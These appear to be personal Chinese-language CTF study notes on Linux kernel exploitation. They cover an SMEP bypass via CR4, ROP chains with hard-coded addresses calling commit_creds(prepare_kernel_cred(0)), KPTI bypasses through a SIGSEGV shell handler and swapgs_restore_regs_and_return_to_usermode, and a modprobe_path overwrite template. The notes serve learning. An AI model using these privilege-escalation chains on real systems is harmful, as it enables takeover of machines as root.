跟着H0pe师傅学的Kernel-Pwn,记录一下防忘
绕过SEMP
修改RC4
开启SMEP保护实际是将CR4寄存器的第20比特位置为1,native_write_cr4(size_t new_cr4)函数可以设置cr4寄存器的值
该方法在某次patch后不可用
ROP
找Gadgets执行commit_creds(prepare_kernel_cred(0))然后swapgs,iretq返回用户态。
ROP Chain :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned long payload[256]; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; payload[index++] = 0xffffffff8150b97e; payload[index++] = 0; payload[index++] = 0xffffffff81006370; payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; payload[index++] = 0xffffffff8100a55f; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss;
|
栈迁移到mmap后ROP
通过pop rbp; ret; mov rsp, rbp; pop rbp; ret;这样的Gadgets将rsp设置为mmap开辟的地址,mmap内放ROP Chain。
绕过KPTI
KPTI将用户页和内核页隔离,内核页找不到用户页,反之同样。上述利用方法在iretq的时候都会用到到用户的backdoor地址,开启KPTI后内核就找不到这个地址了。
通过异常处理
注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system(“/bin/sh”)
1
| signal(SIGSEGV, backdoor);
|
通过swapgs_restore_regs_and_return_to_usermode
CR3用于存储页目录表(Page Directory Table)的物理地址。每个进程的CR3独立,内核与用户态进程都有独立的CR3,swapgs_restore_regs_and_return_to_usermode函数可以将CR3设置为用户态的。swapgs_restore_regs_and_return_to_usermode函数内部存在swapgs和iretq,只要将栈布置好就可以一把梭。
ROP Chain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; payload[index++] = 0xffffffff8150b97e; payload[index++] = 0; payload[index++] = 0xffffffff81006370; payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; payload[index++] = 0xffffffff81200f10 + 22; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss;
|
swapgs_restore_regs_and_return_to_usermode + 22是为了跳过函数前面的一堆pop。
modprobe_path
运行带有错误文件头的程序内核会执行modprobe_path处的文件,改写modprobe_path可导致执行任意文件
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> unsigned long modprobe_path = 0xffffffff00000000; void setup() { system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/p"); system("chmod a+x /tmp/p"); system("echo -ne '\xff\xff\xff\xff' > /tmp/exec"); system("chmod a+x /tmp/exec"); }
void getflag() { system("/tmp/exec ; cat /tmp/flag"); }
int main() { setup(); syscall(548, modprobe_path, "/tmp/p"); getflag(); }
|
copy_user_generic_unrolled
copy_user_generic_unrolled(to, from, 8)读取/写入失败时,其返回的是读取/写入失败的字节数,而成功时则返回 0,可以利用该特性爆破内核地址。